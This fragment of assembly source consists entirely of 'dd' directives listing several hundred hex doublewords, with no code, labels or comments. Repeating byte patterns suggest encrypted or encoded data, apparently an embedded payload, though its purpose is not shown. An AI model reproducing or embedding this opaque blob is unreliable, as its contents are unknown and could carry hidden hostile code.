		dd 70A1361Ah, 77CDAF34h, 931BEA99h, 3FB61A3Ch, 1E321566h
		dd 883202EFh, 4420FC66h, 0B4961566h, 0AEECF08Ah, 0F9C40h
		dd 8D146A6Bh, 4707EC73h, 0E9F2905Dh, 0D3D128Dh,	44321575h
		dd 83B79E9Ah, 0E835F173h, 778C439Ah, 6DCDEA99h,	19CE4B91h
		dd 0FACAD1E3h, 0D6B71A61h, 0AD321566h, 2232156Ah, 0CFCD4BA5h
		dd 0E5451A37h, 3948F7AFh, 73790EDh, 17DB1282h, 0FC321566h
		dd 22C59E6Eh, 6A8F403Eh, 5C50C644h, 9709D0E7h, 0A9B36F0Bh
		dd 767059CDh, 0FCB35023h, 0CFE1BEh, 4B6FFA67h, 22320DE5h
		dd 1121FC66h, 26C61566h, 0FEA49FADh, 70613D46h,	0A19FD8C2h
		dd 4A72FDEBh, 8CB72E31h, 2D35FE9Eh, 113223E3h, 8834FC66h
		dd 9A9C1566h, 0F4C9D854h, 38390EDh, 80DB1282h, 4B321566h
		dd 2A8C9C3Fh, 44690FC3h, 883214DBh, 19DD1466h, 22321F8Fh
		dd 0D2E2E266h, 34BFA927h, 7F46BD3Fh, 0C9CAD9E3h, 40B71A61h
		dd 61321566h, 4432156Fh, 0F8893D3Eh, 0E314101h,	883DFC55h
		dd 0E2CF1566h, 7210C86Bh, 0E2AE2633h, 0E0A90706h, 0F5B79E99h
		dd 0DB35F164h, 6BA0AD36h, 50C57E6Ah, 1C3FC591h,	0F1E4C00h
		dd 0BB0667Ah, 1562E243h, 0BB7E1011h, 0E533BE00h, 77CA753Eh
		dd 0E90CC0DFh, 0BCE2905Dh, 0A73D128Dh, 11321523h, 8832068Fh
		dd 0F7982F66h, 9CEAF45Fh, 836E08AFh, 0F3660A68h, 0C03A522Fh
		dd 2ADB90EDh, 933D1282h, 88321571h, 44239069h, 2EDB1566h
		dd 66321566h, 49AB6913h, 6B4192ADh, 73794D4Bh, 113214DFh
		dd 0D1FD1466h, 0CDB72E9Fh, 2D35F147h, 113241E3h, 3F3D7566h
		dd 443DFCB8h, 2DAC1566h, 7486413Ch, 0BB9CD903h,	0DD837849h
		dd 0AD3D748Ah, 1132156Ch, 8832108Fh, 0BAA13866h, 0A7B9992Fh
		dd 16D60A27h, 88321C8Fh, 0CF6A7866h, 29B7C341h,	0AF64D38Bh
		dd 77CDEA99h, 4B6CE24Fh, 22321DE1h, 13B21A66h, 0E8321566h
		dd 90B72E07h, 2D35FE9Eh, 11324DE3h, 8FB31A66h, 4B321566h
		dd 223214E8h, 94B9EC66h, 8FD6370Fh, 44321E8Fh, 24E6CF66h
		dd 1AAAB952h, 0F7D61E70h, 0A67AE35h, 0A3790E61h, 0B5479ADh
		dd 63B35E0Eh, 3F2D7B1Ch, 2D69CA67h, 113214E2h, 0EE52ED66h
		dd 8758D7E7h, 22321E8Fh, 71038066h, 80B75C6h, 0BD3888F2h
		dd 32B72E07h, 1E35FE9Fh, 883272E3h, 443DFC66h, 35101566h
		dd 0E977D16Bh, 0F9E84017h, 7065CE61h, 3A8F96A9h, 1135FE9Fh
		dd 881A9069h, 0C7CE1566h, 0C610B8DBh, 953D1561h, 8832155Eh
		dd 57B61A93h, 0CB321566h, 11321568h, 0F8B18DD2h, 9AAF951Eh
		dd 0E3F6DC81h, 94B9ADAEh, 8FD638A7h, 1B60429Eh,	0F5B5573Ch
		dd 11321E8Fh, 5248D466h, 0C993BAE6h, 0CD727E29h, 0E826905Dh
		dd 0D3D128Dh, 4432150Dh, 20B61A06h, 9A321566h, 4FB373B1h
		dd 0C7534ADEh, 0C9CB0DDBh, 943D1561h, 88321556h, 0B7851A06h
		dd 22B01A36h, 4F321566h, 258F9607h, 4435F144h, 22079169h
		dd 0DB1566h, 88321566h,	0C2C90868h, 0A9CF0471h,	9962A2Ch
		dd 0AA3DC347h, 5F7F90EDh, 71C71282h, 1F6C7BDDh,	9E1E234h
		dd 2180E8Dh, 55C19429h,	106CBE11h, 0B3CB4EB9h, 0AFCACDE3h
		dd 18B71A61h, 1E321566h, 88321DE0h, 46B01A66h, 42321566h
		dd 0C0B79E07h, 8735F178h, 443214EDh, 9A62E066h,	5D1804A4h
		dd 80DAD426h, 3910CB63h, 91201030h, 0D633BC50h,	66B3753Eh
		dd 7049C5A1h, 0FEB72E07h, 1E35FE9Eh, 88323DE3h,	0C1B9ED66h
		dd 25D600DFh, 6A8A459Fh, 0C046EE72h, 324D5C6Bh,	0A737550Fh
		dd 10B015E6h, 8EDB4DA1h, 0E4321566h, 9C6121ADh,	0F1B72E74h
		dd 8735FE9Eh, 443254E3h, 0A7B9E066h, 16D63447h,	883A9E69h
		dd 0C23D1566h, 22321564h, 0A8637406h, 0BA2C0C32h, 21DB942Fh
		dd 0D5459E44h, 0E1F394B7h, 89888790h, 4BDB4CA9h, 0B7321566h
		dd 6CFC6FBBh, 0D254CC66h
		dd 1202793h, 0A70950C0h, 16D9ED82h, 88709069h, 0C13D1566h
		dd 22321569h, 11321F8Fh, 0CC5D5066h, 0E7C43D0Bh, 0A9C52025h
		dd 0F53774E3h, 80B31A61h, 4B321566h, 223217E9h,	0E4537566h
		dd 8836F9E7h, 78BB1566h, 636EA42h, 1134FC39h, 0BE471566h
		dd 0CF2BDD9Eh, 0DADA905Dh, 943D128Dh, 8832155Dh, 47B41A06h
		dd 44321566h, 9C3DC2EDh, 88321564h, 0CF534B35h,	0C61198E3h
		dd 9052ED61h, 0A634B584h, 1BFD940Bh, 4339D7A2h,	66DAAF34h
		dd 7AB32A4Bh, 84E09D71h, 4268C24Fh, 2A53E7EDh, 63CAF9E3h
		dd 0FB71A61h, 0CB321566h, 11321568h, 29FE33BEh,	54998D2Ah
		dd 1938D2BBh, 94B9DC29h, 8FD63A1Fh, 44339F69h, 75C71566h
		dd 0EE1639E7h, 0D7CDEA99h, 44239169h, 0A23D1566h, 1132156Dh
		dd 8832138Fh, 15F1F566h, 4294DF1Ch, 4A684230h, 2CD39400h
		dd 0BB3974AFh, 22199169h, 46521566h, 36A7406h, 45DB74AEh
		dd 2DCDEA8Bh, 11320DECh, 8821FC66h, 2F361566h, 214032C1h
		dd 9E634B7Bh, 29753DC2h, 4AA20853h, 0A3B72E0Bh,	1E35F169h
		dd 883255E3h, 51B31A66h, 0CB321566h, 11321576h,	0C523922Fh
		dd 7353CC1h, 889317DFh,	0C5DA046Eh, 0DA5E90EBh,	50DB128Dh
		dd 61321566h, 594E1B17h, 0E243D23Ch, 5D042126h,	0B032E51Fh
		dd 0F89ACECCh, 77CDF9FEh, 0FDB72E9Eh, 2D35F143h, 113291E3h
		dd 883BFC66h, 147C1566h, 822E0627h, 923A336Ah, 63CA2DDBh
		dd 0C13D1461h, 2232150Fh, 11321A8Fh, 8E666966h,	73B56AD2h
		dd 0C7E3A6Ah, 4FF47D1Ah, 835590EBh, 50DB153Fh, 4B321566h
		dd 7D99F191h, 0E24CB5B8h, 7133C081h, 85B3201Bh,	0E92FEC0Bh
		dd 77DE228Fh, 52B01A99h, 0CB321566h, 11321577h,	11D2C27Fh
		dd 3157D1CBh, 5DE07B84h, 0DEE9CA73h, 883DFCC1h,	0E6341566h
		dd 1249281Ch, 0CC8C913Fh, 2BF7FAB3h, 0CB72EBEh,	2D35FE9Eh
		dd 113246E2h, 9ADB7566h, 0A1321566h, 0CB27EC53h, 8D5F25C9h
		dd 54B55B83h, 0F8349948h, 223FFD8Eh, 84B81566h,	5079762Bh
		dd 20EDCD1Eh, 0CADDFF47h, 11321569h, 0D9C953CAh, 0C7C26784h
		dd 82FBFE2Eh, 4FDDDAD5h, 0D097438h, 43D9ED2Ah, 22119069h
		dd 71CB1566h, 0E9E59E00h, 0BBD9B68Fh, 2221FC99h, 75F41566h
		dd 623164F8h, 7C41DBFh,	358498B8h, 63339D27h, 888D420Bh
		dd 13321566h, 0F11621E7h, 4F63CA30h, 0DEE1E3E7h, 0B86D44B9h
		dd 2D33EBE5h, 113337E3h, 8820FC66h, 79971566h, 420EEAEAh
		dd 7B9EABA3h, 2D81C39Bh, 2FDABBB5h, 0DA0E905Dh,	943D128Dh
		dd 88321524h, 443AFC06h, 0CB851566h, 3BCE9A5Fh,	23DD250h
		dd 44321573h, 2232058Fh, 64BA6066h, 182371h, 0EE30EDC6h
		dd 0EFCDF68Dh, 94BF7480h, 886A92A2h, 0C554ED06h, 4376E6AFh
		dd 0EED91E8Fh, 3547599h, 0C10974BFh, 25D9ED26h,	115A9069h
		dd 87521566h, 443210E2h, 0FBB37366h, 0A63D7555h, 0DBF74B4h
		dd 446A9D5Ch, 222E9469h, 9F3D1566h, 88321570h, 4432048Fh
		dd 9B8B0D66h, 3211D98Eh, 96FD494Eh, 3F7BE2D2h, 9FDB9B0Ah
		dd 71CDEA8Ch, 0D3537530h, 4432078Fh, 0AE2C0266h, 0E73B1F0h
		dd 0FB8788C7h, 0BB77B0B3h, 437EDC99h, 113A9569h, 87521566h
		dd 443215EEh, 0A7097466h, 16D9ED22h, 880F9069h,	0C9CA1566h
		dd 7ABA6AE3h, 113CFC66h, 1A651566h, 0BA1F5881h,	7A90045h
		dd 0E3D0C4BFh, 77D8728Fh, 56DB7599h, 1F321566h,	5BD4AE22h
		dd 0F5A277EAh, 0DC342544h, 0C1571773h, 0D9B373B7h, 0DD5309DAh
		dd 0ACBBD0EFh, 0A31639EDh, 113211A2h, 0EECB7566h, 0F01AC3E7h
		dd 0DA8A4507h, 0E6736D11h, 8D075DBEh, 0CD8C92EEh, 6369EA0h
		dd 1136D1E7h, 3D1566h, 44321567h, 2DC41E9Eh, 113202E3h
		dd 57DBED66h, 0ADCDEA8Fh, 2232156Dh, 336C293Bh,	0E2F47935h
		dd 0BC5653B9h, 6069E36h, 0F836D1E5h, 8832156Ah,	6D920A9Ch
		dd 0FA5AFB3Ch, 43BC4409h, 0AB7FA0EFh, 0CA3D1282h, 22321567h
		dd 10879C9Fh, 0E835F148h, 44329B69h, 0A2531566h, 943DFC58h
		dd 8832158Fh, 6E59406h,	2D2683CFh, 113217EBh, 0E9D5A066h
		dd 4436F9E7h, 36BB1566h, 1133AF42h, 7A331566h, 24682FEDh
		dd 0A03DC4ECh, 11321566h, 2CDD9407h, 0C5772052h, 0BD4BBF89h
		dd 90C51410h, 174BBFA1h, 0E0F59410h, 42772052h,	70C79CD2h
		dd 0DFC59C31h, 0FA524A3Dh, 54CB0349h, 0F853D6EDh, 8832156Fh
		dd 1FBECC50h, 5C708A53h, 0DA8C43F2h, 9774E74h, 626D0B90h
		dd 25DCD40Ch, 3724FBE7h, 66B32724h, 8A2E81E3h, 16B9E667h
		dd 15F69442h, 61321566h, 44321577h, 32B38142h, 0CED67EB5h
		dd 0B9A3F476h, 8F694FC2h, 6F8F2E47h, 1E35F145h,	883202E4h
		dd 0AAB27566h, 50EC9532h, 1EC92E07h, 88323DE0h,	45B01A66h
		dd 0DA321566h, 0EEDAD08Fh, 8752ED99h, 0AC63C7D1h, 22321568h
		dd 215D244Ch, 0DE59E0CBh, 81837474h, 7C6D5713h,	0F88F9E07h
		dd 8735F17Dh, 443204EFh, 223EFC66h, 3D531566h, 20E7C902h
		dd 53DA0F66h, 0A7F5D355h, 16D60003h, 88321566h,	42B81A06h
		dd 2D321566h, 113215E3h, 71527466h, 84F99506h, 22319D69h
		dd 9A541566h, 3DBB74BCh, 43D63B67h, 2232078Fh, 4700E466h
		dd 0CED6B16Dh, 79266F05h, 0DEE51083h, 1ED01234h, 883214EFh
		dd 0D9BFED66h, 25DE696Fh, 11339569h, 77CB1566h,	0AD8D75B5h
		dd 447565B7h, 0D42AE3E7h, 87F21E07h, 443209E2h,	2223FC66h
		dd 136C1566h, 1612B546h, 0E78AFD73h, 0D6AD823Bh, 0F8E9A39Fh
		dd 883215DCh, 64AF989Eh, 2D35FCD3h, 113207EFh, 84B41A66h
		dd 0AD321566h, 22321561h, 0B91EB084h, 77627017h, 33B11AB5h
		dd 0CBCDEA99h, 11321576h, 0D2C3200Bh, 71139C0h,	69712CD3h
		dd 6BDA129Eh, 0A633A0EDh, 4B521282h, 223216EFh,	0DEB97366h
		dd 97288D8h, 0F1BB747Ch, 25D60003h, 10BD1A93h, 74321566h
		dd 8D0A88EBh, 0AA3D128Ch, 11321561h, 61B37306h,	0AD535FCEh
		dd 22321574h, 0D0019D75h, 84B49BBBh, 475C002Ah,	728B845Fh
		dd 0C2CD52A4h, 8832018Fh, 26377B66h, 3E7F51A9h,	0CB756EFCh
		dd 156C242Dh, 7AED073Ah, 0AD3D7551h, 11321560h,	88329769h
		dd 0C23D1566h, 22321567h, 94B9749Eh, 8FD6362Bh,	44369E69h
		dd 0DA521566h, 94BB7493h, 8FD63B67h, 4ADB749Ah,	31321566h
		dd 0AC0D0CB2h, 0B9BE1A86h, 940950BFh, 0CA0C95E1h, 11C49069h
		dd 3D1566h, 4432156Fh, 0E8B37306h, 4E65A68Ch, 0E98F9607h
		dd 4435F164h, 22E89169h, 71521566h, 0AF5AAB00h,	45213BD8h
		dd 9A54742Ah, 1E53331Dh, 883216E3h, 25CA7566h, 44CAA635h
		dd 0E7EE9D36h, 0EED19DBAh, 0DF1953Eh, 0AA8AE6E6h, 1E524EBEh
		dd 0F3DEBD9h, 44321563h, 70DBBFDFh, 0F898741Eh,	8832156Dh
		dd 0A7629573h, 1AE897B4h, 0E85BE6B5h, 88349E0Eh, 600E9C66h
		dd 0DABBE2EFh, 1137FC39h, 57001566h, 41D05178h,	297F692Dh
		dd 0A863ED4Fh, 0BA4214DBh, 1FF5FCE7h, 0CBF304B5h, 9EF39460h
		dd 7F682208h, 0B5B35CB7h, 8C3977F5h, 0E46BDD4Fh, 848A4535h
		dd 7176A923h, 668E506Eh, 386AD6EFh, 8524EBEh, 0FB5465BFh
		dd 8953548Fh, 1132078Fh, 0DBFBA966h, 9916261Bh,	1A216815h
		dd 0D647894h, 0E8315AF3h, 0C5547AD6h, 43A46DB7h, 1130978Fh
		dd 42B97566h, 256CE935h, 40A288EBh, 7752128Ah, 0F619C6E7h
		dd 4432068Eh, 6D371866h, 9DD33095h, 0CCA47925h,	0A88F86FCh
		dd 0E927C63Ch, 1132198Fh, 17D86466h, 4D1F9387h,	65F8B09Eh
		dd 1E534FD5h, 883219E5h
		dd 42B81A66h, 2D321566h, 113215ECh, 0E8E1EA66h,	4432048Fh
		dd 0AE26BE66h, 2A27D6E2h, 285A13E6h, 0D886787Eh, 0A3543DC4h
		dd 706C86AEh, 0FECA88EBh, 0B8C7128Ah, 4252C699h, 0F7A8E5DCh
		dd 83537444h, 59B71AA6h, 42321566h, 0F853C5EDh,	8832155Dh
		dd 44321A8Fh, 7801FE66h, 6FE985D6h, 7FC0BF95h, 0B485D1A1h
		dd 0C3390E5h, 1E371282h, 88321DEEh, 46B61A66h, 42321566h
		dd 0EF75FC07h, 80DBEA99h, 0DC321566h, 0E0DAEABEh, 9C402E09h
		dd 644ACFFBh, 2252ED61h, 28CDFDE7h, 1132108Eh, 1D8EFC66h
		dd 0A38B1089h, 7D7F4CFEh, 71E1EA07h, 88319969h,	0CF541566h
		dd 43C29EA4h, 943DD56Dh, 88321554h, 5DB01A93h, 0CB321566h
		dd 11321572h, 88CB13A5h, 0A4FD163h, 7B1AEE9h, 920ABF97h
		dd 0F5458AB6h, 44325F8Fh, 24BD1A66h, 71321566h,	4FC6AC00h
		dd 1465EC07h, 45030DDEh, 7CD01862h, 82377584h, 0CDA90DE4h
		dd 0D8334DA1h, 90547539h, 0EE73B4B1h, 250127DFh, 2233338Fh
		dd 1122FC66h, 363B1566h, 0AAA361EEh, 67117B93h,	0B8F88A0Bh
		dd 5CEAFDBh, 0AD8735FBh, 2DDA7561h, 9A321566h, 665D1ABFh
		dd 0E9915D4Dh, 0B9E862D0h, 49C7E136h, 88319E69h, 0F33D1566h
		dd 0F1CD74BEh, 11059669h, 9CDB1566h, 8A321566h,	4FDCCCDEh
		dd 10C6725Ch, 27723E40h, 5CC8E387h, 0A9F3DFC1h,	0F51C14D3h
		dd 89B01A61h, 0BC321566h, 221E358Fh, 913D7566h,	88321564h
		dd 99B8EFEDh, 23BF9E07h, 1E35F148h, 883211E5h, 1F867566h
		dd 23879C07h, 0E935F148h, 88339869h, 0C5CB1566h, 463010A7h
		dd 0A3DB9412h, 0A1005259h, 0F6F39497h, 0A3005259h, 7530108Fh
		dd 0B537512h, 95C5EAA7h, 2239FD06h, 4471566h, 824D94FBh
		dd 8A756A5h, 0E3B9734Ah, 0EAF5943Dh, 0E967F11Ah, 6C4BAD36h
		dd 0C2F35447h, 3733065h, 0EE17252Ah, 4114E14Dh,	5F9D6E85h
		dd 0B32BB653h, 0D0F4140Bh, 0AAB3DB4Fh, 323F72E6h, 0F896E69Fh
		dd 88321568h, 902FC49Ch, 1A9CB6D5h, 76C1A421h, 1ADB1CF1h
		dd 24CDEA9Ah, 42C5FAE6h, 9A54E1ECh, 55374AEh, 0AEF975FBh
		dd 2239FC61h, 0C7931566h, 59946E9h, 18EBB327h, 2DE1EA68h
		dd 113203E6h, 98B71A66h, 0AD321566h, 2232156Dh,	0DA95EA5Bh
		dd 0A810189Bh, 2C4AA0E6h, 223252F3h, 901629EFh,	0F2FC3152h
		dd 716A6560h, 52346FA8h, 11259F69h, 9ADB1566h, 2E321566h
		dd 664FBF42h, 0EEEDCC1Dh, 656FA48Fh, 71962FBEh,	0CBB73EC4h
		dd 7135F17Dh, 8832018Fh, 78786366h, 5719047Bh, 0B985F9AEh
		dd 29F63CB4h, 0A52F59F2h, 0FD8C7372h, 94BB749Eh, 8FD60CB7h
		dd 0ADB79E93h, 0CB35F17Dh, 11321563h, 7AD8C7DDh, 1EC57D51h
		dd 1EBB1566h, 113DFC42h, 2EF21566h, 0E13C4D4Ch,	257F6466h
		dd 0F668FD81h, 92277D63h, 40BB1566h, 2CBE1A42h,	71321566h
		dd 88329869h, 0C13D1566h, 22321566h, 0C2BF9807h, 0E835FFABh
		dd 44369269h, 99541566h, 0CAB35099h, 91700FB6h,	4BE3EA07h
		dd 223212E5h, 10BA1A66h, 7D321566h, 5F6F90EDh, 0A83D1282h
		dd 1132157Fh, 8832018Fh, 0C3EC2866h, 6C4848CAh,	53A164E8h
		dd 4006178Ch, 5ED7A5D3h, 0C1BB467Dh, 1136D6E7h,	63B11566h
		dd 602E9262h, 6369C3Ah,	0AA547593h, 9ADB32CBh, 17321566h
		dd 552ABF37h, 0E8FBE79Ah, 94BA4397h, 879CC961h,	8D5A7461h
		dd 9832157Dh, 83D315Ah,	4432156Ah, 2232128Fh, 0F20CE666h
		dd 0DC20AE46h, 5FDB90EDh, 77CE1282h, 0D4B3F0EFh, 88321562h
		dd 4436F8E7h, 0EB51566h, 15BB4942h, 33547542h, 0B28BE0D5h
		dd 43151B4Bh, 0DE2798EBh, 77CA128Ch, 0CD61E0B7h, 0A9E89CA5h
		dd 0D5B1317Ah, 9AB61A62h, 24321566h, 2238FC9Ah,	0C84E1566h
		dd 0E475B8BCh, 9709ABDCh, 2EB94507h, 15F69642h,	88321B8Fh
		dd 5A388566h, 78D49E6Fh, 0F7007413h, 0A3A42E75h, 0A02948EBh
		dd 28BA1A61h, 0F8321566h, 88321563h, 7B71D8ECh,	878F9641h
		dd 1135F147h, 88E69169h, 0C03D1566h, 2232156Ch,	0C0F49406h
		dd 35BBEFDh, 0C1B974B8h, 25D6081Fh, 112F9169h, 60521566h
		dd 44321576h, 987A49F5h, 3AB8EB04h, 96F0A4B2h, 91B55897h
		dd 0CBB37339h, 3A53860Bh, 6C13B0E3h, 4439FC61h,	0D3D01566h
		dd 0FBEEB68Fh, 5853B6BAh, 4BF32E6Bh, 223268E0h,	10B81A66h
		dd 74321566h, 58AF90EDh, 0AD3D1282h, 11321574h,	8832188Fh
		dd 0D3D11666h, 6C3EDDF3h, 161A71EEh, 6152D03Eh,	4432156Eh
		dd 5F8B815Ah, 0AAEDA0F7h, 694409DCh, 0C131741Fh, 25D634C3h
		dd 0B0B79C9Ah, 6135F144h, 4432156Bh, 442ECC80h,	97BA8501h
		dd 77D4C3B0h, 57B11AF0h, 2D321566h, 113218EEh, 883AFC66h
		dd 830D1566h, 7BACA93Ah, 0C0DBA28Ch, 87321567h,	443214ECh
		dd 0AB60ED66h, 15F09484h, 9321566h, 4432118Ch, 6269266h
		dd 353E9C3Ah, 8832138Fh, 46B6F866h, 708D26D8h, 9060DFEFh
		dd 0B5403152h, 716A14EAh, 23BE2814h, 1CB51A3Ch,	0E8321566h
		dd 44329E69h, 6D8B1566h, 70163972h, 77CDAB30h, 0B433EA99h
		dd 0A9547538h, 0CE851A96h, 8CDE9407h, 0CD321566h, 0EA8C3152h
		dd 0D00C2F48h, 7EB31680h, 0BB82842h, 7C88E3E7h,	0DFB365B4h
		dd 8A4F0771h, 82B3CB91h, 0ECCF32B8h, 0F86CE56Fh, 8832156Fh
		dd 327C87FAh, 0DD7593CDh, 0EE8C4327h, 0A1CDEA99h, 4B524B96h
		dd 0AB53DCD1h, 0F52F6CE3h, 8822FC61h, 60311566h, 97B81D0Bh
		dd 0C430309Ch, 0F0B87858h, 0C1331F9Ch, 25D634F7h, 0B4B7D29Ah
		dd 8835F147h, 24321566h, 2DC8AA69h, 113217E6h, 0E9FD9E66h
		dd 2452550Ch, 9A544E31h, 1E539D45h, 6153DAD9h, 44321575h
		dd 95119558h, 800409EFh, 958A97DEh, 51A29F13h, 4A570C2Ch
		dd 11320566h, 8820FC9Fh, 242A1566h, 5AF8D9A7h, 0D16DA7DCh
		dd 6FB8D7C3h, 0F67440D3h, 2235650Eh, 353E9C66h,	88339169h
		dd 2EC71566h, 0B7CDE966h, 16D60C17h, 8821FC06h,	0B1EF1566h
		dd 0B9AF827Dh, 6E8F194Bh, 0AD930270h, 0D2F53C01h, 24BF1A1Bh
		dd 1E321566h, 883215EDh, 0D1CD7466h, 25D60DCBh,	8CB79C9Ah
		dd 6135F17Ah, 4432156Ah, 3878EA3h, 778E116Fh, 1909F1E1h
		dd 669390EFh, 0A03D1282h, 11321569h, 88321F8Fh,	86A0D66h
		dd 2B6F2087h, 9AC2B42Eh, 165316Ah, 40F59481h, 0A3321566h
		dd 113211A1h, 0AC0E9266h, 443DFC3Ah, 93001566h,	0BD7C5D96h
		dd 451D063Ch, 559E8EF0h, 0A2657542h, 47688D90h,	0E96B4A34h
		dd 6693A099h, 0DDCE1282h, 0F52948D3h, 83B71A61h, 0AD321566h
		dd 22321560h, 1959A243h, 165E32Eh, 40F59481h, 0A1321566h
		dd 2DB51189h, 0B4BB4942h, 4426FC42h, 15301566h,	37B8EE47h
		dd 1C52B0C8h, 459022DBh, 0D3AE2CA2h, 0EECE4EE5h, 6C29FCD3h
		dd 43B51A61h, 2D321566h, 113214EDh, 0EE52E066h,	4CB4F4E7h
		dd 0AF53E1ECh, 0FBD502E3h, 3F3D7561h, 97851AB1h, 42E2EA07h
		dd 1053DFEDh, 6C13B0EBh, 0FB3D7561h, 118C739Dh,	0ACB9742Eh
		dd 8FD637C7h, 86851A06h, 43C5AA69h, 0A6FA0EDh, 0C3D1282h
		dd 44321567h, 2D96E69Fh, 113214E1h, 3CBE966h, 0A02AFCD3h
		dd 2234FC61h, 0FE761566h, 5DE4A29Ch, 165AECCBh,	0AB321550h
		dd 0BC5A316Ah, 0D17C7C72h, 66DAE4E7h, 0CBF32A3Eh, 0D9C39465h
		dd 13C3340h, 0BD6BE928h, 4237D5A7h, 0E9AAB00h, 8832068Fh
		dd 9AAA3C66h, 8EB98A12h, 269639C7h, 34770565h, 3C627AB7h
		dd 728F4007h, 0E66F963Eh, 0C5EFE2B3h, 0DCBE0E7h, 0CA3364BFh
		dd 901639EDh, 883211A2h
		dd 443BFC66h, 48F71566h, 0B0A3643Ah, 8BC72C39h,	0A027C8E3h
		dd 0AFB9ED61h, 16D637C7h, 88321D8Fh, 98C60166h,	91CDFCE3h
		dd 1188471Ah, 89321566h, 0CF389CA4h, 0E6B13172h, 1ECA7562h
		dd 883210E1h, 9AE7AD66h, 8F53509Ah, 4A604206h, 8839FC3Eh
		dd 0E7DA1566h, 4C2CBCEBh, 7B587650h, 356774CDh,	645A6801h
		dd 4DBBAC37h, 0C0C552C3h, 0E8EBF4E7h, 0A5F31F67h, 0E5FB9464h
		dd 90556B02h, 61D54B97h, 0B87C9CDEh, 0DE5C143Fh, 10B01A3Bh
		dd 7D321566h, 0AD879C93h, 4235F17Eh, 11339B69h,	0E9CA1566h
		dd 44321C8Fh, 901FAC66h, 0E5EA12CEh, 70B1A096h,	0D6B71A99h
		dd 0DE321566h, 0CCEF2BE7h, 0D3DC8BBh, 443215E3h, 22249369h
		dd 1E521566h, 883215E1h, 443BFC66h, 3DA21566h, 0F4003380h
		dd 0E9D4AFE2h, 443DA50Eh, 62E9C66h, 113215DDh, 0D32C9C66h
		dd 44169269h, 0CB521566h, 11321569h, 2DA1D702h,	0A80F5015h
		dd 22F617BCh, 0F8543140h, 8832156Fh, 2E721528h,	19D5252Fh
		dd 0AA61742Ch, 88321562h, 6AF1D3E7h, 0FC336002h, 3FF1FBE7h
		dd 7D696002h, 5CDBA0EFh, 2ADB1282h, 0FA321566h,	0A36726Ch
		dd 0AD509D6Ah, 0DDCDC720h, 12F2D49Fh, 88321C8Fh, 4AB0866h
		dd 2DDE752Bh, 9431F9BEh, 8FD600BBh, 0DCF29406h,	0A223FD75h
		dd 0F853EC97h, 88321560h, 4A3DE774h, 9FB10854h,	16D60927h
		dd 3AB61A67h, 0B8321565h, 88982BE7h, 943DBFCCh,	883215B2h
		dd 443F9569h, 2ADB1566h, 18321566h, 82DC9910h, 0C59E3A0Ah
		dd 2232118Ah, 35369C66h, 883211DEh, 1CF41466h, 22249F69h
		dd 0DB1566h, 0CA321566h, 2BB84F2Bh, 2F420B55h, 3715CE11h
		dd 0BEFFDA87h, 124FAD36h, 0F2C5573Eh, 474CAB30h, 7833573Eh
		dd 0B8749C38h, 2222FC3Eh, 7ED11566h, 14A2CE14h,	702B0D8h
		dd 0FB120456h, 9A3DDB20h, 8832156Eh, 44309F69h,	43521566h
		dd 0D603ED57h, 3752ED57h, 2FAD2627h, 0E268A507h, 115A1186h
		dd 0A0321566h, 40B83162h, 26F69642h, 3DB624Ah, 0DC321566h
		dd 20E257D7h, 6A3CD096h, 204DDB6Ah, 713E3C4Ch, 0CE3D75B8h
		dd 22321563h, 58DB9400h, 88857566h, 94E4C2DFh, 0CB537471h
		dd 1132155Ah, 88339E69h, 0BDC71566h, 0A96A4236h, 0D5B1315Ah
		dd 8EB01A62h, 24321566h, 0ECB94B31h, 0A682E907h, 3E60D598h
		dd 1EC235ABh, 0CB527552h, 11321560h, 4AB63885h,	0C5545B95h
		dd 43D1EB94h, 14D29C36h, 88321562h, 4432114Bh, 6369266h
		dd 35369C3Ah, 258F9693h, 4535F144h, 234C9169h, 1CDB1566h
		dd 58321566h, 0E5B0561Ch, 0AEB82C4Ch, 798CFC44h, 8833150Eh
		dd 60369E66h, 4236D1E5h, 11339C69h, 87CA1566h, 0C753D2D9h
		dd 0C9CA41DBh, 953D1561h, 88321527h, 4432058Fh,	0BA5CFD66h
		dd 22C7F08Bh, 200E12DAh, 50B2AC87h, 9CAF98A5h, 0E435FF9Ch
		dd 88219169h, 0AC521566h, 22321563h, 0B8AFB88Eh, 93D4FA8h
		dd 44321566h, 42E1EA07h, 4027CFE6h, 0D7FDAA69h,	0D40D9507h
		dd 226E9169h, 3DB1566h,	54321566h, 0F76682AAh, 6B9DED45h
		dd 0E851CE25h, 0D1BDA91Dh, 40DE946Fh, 0AB321566h, 148B316Ah
		dd 89321566h, 42DB4CA9h, 0C3321566h, 0A77737F6h, 8823FCB9h
		dd 51FF1566h, 826AE903h, 6051C64Eh, 0EF305A48h,	0ADEB1CEAh
		dd 223214CBh, 113A9469h, 13D1566h, 44321564h, 0DAB17406h
		dd 88B01A36h, 61321566h, 44321561h, 3A1538AAh, 90079B2Ch
		dd 8832118Ah, 603E9C66h, 0CBB26ED7h, 48FA9D8Dh,	8832128Fh
		dd 7286DA66h, 0C00F3EFFh, 1123FCCCh, 0CC8D1566h, 35FDC05Bh
		dd 5E4F4784h, 6B9227h, 360FDC9h, 0CD673162h, 26F79483h
		dd 90321566h, 883211A3h, 601E9266h, 0CB98E93Ah,	1132156Ch
		dd 0B7AFC6E4h, 52484077h, 2D528342h, 113216E7h,	2C09566h
		dd 3A5BAD00h, 22F3FC07h, 9F3D1566h, 88321571h, 44239C69h
		dd 2EDB1566h, 0DF321566h, 0A4C13D26h, 6B7E4B18h, 0DE7E126Ah
		dd 49162199h, 8836D1E7h, 0B1521566h, 2232048Fh,	0FE59F966h
		dd 12CCE75Dh, 0B8E29FD3h, 0D81EBAF3h, 0BB539630h, 8832188Fh
		dd 0ED0EC66h, 87E3C786h, 4AB89B7Fh, 0F7B2E6FDh,	0C13DFC99h
		dd 22321505h, 458F9693h, 8835FE9Eh, 441B9169h, 0A9521566h
		dd 11B51AA4h, 0E9321566h, 0BDA588EBh, 0DDCE128Ch, 1123FCB5h
		dd 0F81566h, 22CAE1A6h,	0F1BFE82Dh, 0A6E2190h, 0DB974EFAh
		dd 1BBAD6EEh, 62E9E62h,	7136D1E5h, 88349C69h, 0CC3D1566h
		dd 22321566h, 0C8DA9400h, 80DB748Bh, 9321566h, 25DB6867h
		dd 9A7184E5h, 6C10B4E3h, 4435FC61h, 0A7651566h,	0CA8AA5D4h
		dd 0FE0910A0h, 0BC1B6B7Dh, 5409A833h, 0F91B6B7Dh, 8826FC3Bh
		dd 0EBD71566h, 0CC108E1Ah, 0ED4CCFA6h, 0B3BA9EEDh, 348C54D3h
		dd 0C35AC90Bh, 98321523h, 8C8D315Ah, 6D321566h,	2ADB4A9Eh
